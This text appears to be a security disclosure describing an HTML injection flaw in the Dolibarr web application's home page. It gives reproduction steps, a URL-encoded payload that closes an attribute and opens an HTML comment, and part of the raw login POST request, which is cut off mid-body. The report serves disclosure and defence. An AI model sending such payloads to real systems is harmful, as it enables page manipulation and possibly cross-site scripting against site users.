### Summary Observed a HTML Injection vulnerbaility in the Home page of Dolibarr Application. This vulnerability allows an attacker to inject arbitrary HTML tags and manipulate the rendered content in the application's response. Specifically, I was able to successfully inject a new HTML tag into the returned document and, as a result, was able to comment out some part of the Dolibarr App Home page HTML code. This behavior can be exploited to perform various attacks like Cross-Site Scripting (XSS). ### Details 1. Navigate to the login page of Dolibarr application. 2. Submit a login request with the following payload in an arbitrarily supplied body parameter: "**u70ea%22%3e%3c!--HTML_Injection_By_Sai"=1** **HTTP Post Request:** POST /dolibarr/index.php?mainmenu=home HTTP/1.1 Host: 192.168.37.129 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:121.0) Gecko/20100101 Firefox/121.0 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8 Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate, br Referer: http://192.168.37.129/dolibarr/index.php Content-Type: application/x-www-form-urlencoded Content-Length: 375 Origin: http://192.168.37.129 Connection: close Cookie: <Redacted> Upgrade-Insecure-Requests: 1 token=697c1f303ef1976a713eda01d20d8eab&actionlogin=login&loginfunction=loginfunction&backtopage=&tz=5.5&tz_string=Asia%2FKolkata&dst_observed=0&dst_first=&dst_second=&screenwidth=1280&screenheight=587&dol_hide_topmenu=&dol_h
